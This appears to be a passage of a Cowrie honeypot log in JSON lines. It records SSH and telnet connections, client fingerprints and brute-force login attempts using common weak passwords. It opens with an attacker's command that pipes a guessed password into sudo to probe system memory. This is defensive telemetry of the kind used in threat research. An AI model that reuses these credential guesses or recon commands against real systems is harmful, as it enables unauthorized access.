{"eventid":"cowrie.command.input","input":"echo 'adminadmin' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","message":"CMD: echo 'adminadmin' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:42.907418Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","message":"CMD: m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:42.910573Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"while read k v r","message":"Command not found: while read k v r","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:42.913083Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"{ m=$v","message":"Command not found: { m=$v","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:42.915872Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"break ","message":"Command not found: break ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:42.918634Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"} ","message":"Command not found: } ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:42.921503Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3ae887037650fa2cbc9d5fe7eb19dc1eb1d98a773efc9a2bba8466c0e1f8df7b","size":124,"shasum":"3ae887037650fa2cbc9d5fe7eb19dc1eb1d98a773efc9a2bba8466c0e1f8df7b","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3ae887037650fa2cbc9d5fe7eb19dc1eb1d98a773efc9a2bba8466c0e1f8df7b after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:43.201263Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:43.205353Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:43.388021Z","src_ip":"85.198.19.241","session":"9497c841a40d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.151","src_port":15174,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f2c5db27d58","protocol":"ssh","message":"New connection: 45.148.10.151:15174 (10.17.0.5:22) [session: 8f2c5db27d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:02.874406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:02.878716Z","src_ip":"45.148.10.151","session":"8f2c5db27d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:02.970933Z","src_ip":"45.148.10.151","session":"8f2c5db27d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:03.372662Z","src_ip":"45.148.10.151","session":"8f2c5db27d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":37152,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ffeaa842c6b","protocol":"ssh","message":"New connection: 103.149.28.157:37152 (10.17.0.5:22) [session: 7ffeaa842c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:39.118975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:39.123337Z","src_ip":"103.149.28.157","session":"7ffeaa842c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:39.381775Z","src_ip":"103.149.28.157","session":"7ffeaa842c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130692","message":"login attempt [root/130692] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:40.832413Z","src_ip":"103.149.28.157","session":"7ffeaa842c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:42.104055Z","src_ip":"103.149.28.157","session":"7ffeaa842c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":57074,"dst_ip":"10.17.0.5","dst_port":22,"session":"dad2af3223ce","protocol":"ssh","message":"New connection: 103.216.145.2:57074 (10.17.0.5:22) [session: dad2af3223ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:46.605194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:46.608857Z","src_ip":"103.216.145.2","session":"dad2af3223ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:46.805488Z","src_ip":"103.216.145.2","session":"dad2af3223ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1q2w3e4r5t","message":"login attempt [deploy/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:47.628615Z","src_ip":"103.216.145.2","session":"dad2af3223ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:48.828178Z","src_ip":"103.216.145.2","session":"dad2af3223ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47118,"dst_ip":"159.203.135.109","dst_port":23,"session":"b81ef147255c","protocol":"telnet","message":"New connection: 128.199.8.54:47118 (159.203.135.109:23) [session: b81ef147255c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:03:53.609907Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":54436,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c909a556f4b","protocol":"ssh","message":"New connection: 216.155.93.75:54436 (159.203.135.109:22) [session: 8c909a556f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:00.067368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:00.072903Z","src_ip":"216.155.93.75","session":"8c909a556f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:00.228510Z","src_ip":"216.155.93.75","session":"8c909a556f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ABCabc","message":"login attempt [root/123ABCabc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:00.876805Z","src_ip":"216.155.93.75","session":"8c909a556f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:02.059100Z","src_ip":"216.155.93.75","session":"8c909a556f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":39702,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f6ed34769c9","protocol":"ssh","message":"New connection: 91.92.40.13:39702 (10.17.0.5:22) [session: 8f6ed34769c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:03.403541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:03.621905Z","src_ip":"91.92.40.13","session":"8f6ed34769c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:03.624681Z","src_ip":"91.92.40.13","session":"8f6ed34769c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"letmein","message":"login attempt [admin/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:05.083389Z","src_ip":"91.92.40.13","session":"8f6ed34769c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:06.602515Z","src_ip":"91.92.40.13","session":"8f6ed34769c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.252373933792114,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:35.862144Z","src_ip":"128.199.8.54","session":"b81ef147255c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.134.216.108","src_port":48954,"dst_ip":"159.203.135.109","dst_port":22,"session":"33c3529208a6","protocol":"ssh","message":"New connection: 3.134.216.108:48954 (159.203.135.109:22) [session: 33c3529208a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:45.202864Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.134.216.108","src_port":48956,"dst_ip":"159.203.135.109","dst_port":22,"session":"88e784940d78","protocol":"ssh","message":"New connection: 3.134.216.108:48956 (159.203.135.109:22) [session: 88e784940d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:45.240293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:45.339967Z","src_ip":"3.134.216.108","session":"33c3529208a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:45.343277Z","src_ip":"3.134.216.108","session":"33c3529208a6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:45.356023Z","src_ip":"3.134.216.108","session":"88e784940d78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:45.360078Z","src_ip":"3.134.216.108","session":"88e784940d78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:45.467423Z","src_ip":"3.134.216.108","session":"33c3529208a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.134.216.108","src_port":49522,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab27cb056d2","protocol":"ssh","message":"New connection: 3.134.216.108:49522 (10.17.0.5:22) [session: 4ab27cb056d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:47.879182Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:47.883518Z","src_ip":"3.134.216.108","session":"4ab27cb056d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:47.886456Z","src_ip":"3.134.216.108","session":"4ab27cb056d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.134.216.108","src_port":49540,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e297a4716f5","protocol":"ssh","message":"New connection: 3.134.216.108:49540 (10.17.0.5:22) [session: 4e297a4716f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:51.694856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:04:51.716067Z","src_ip":"3.134.216.108","session":"4e297a4716f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecds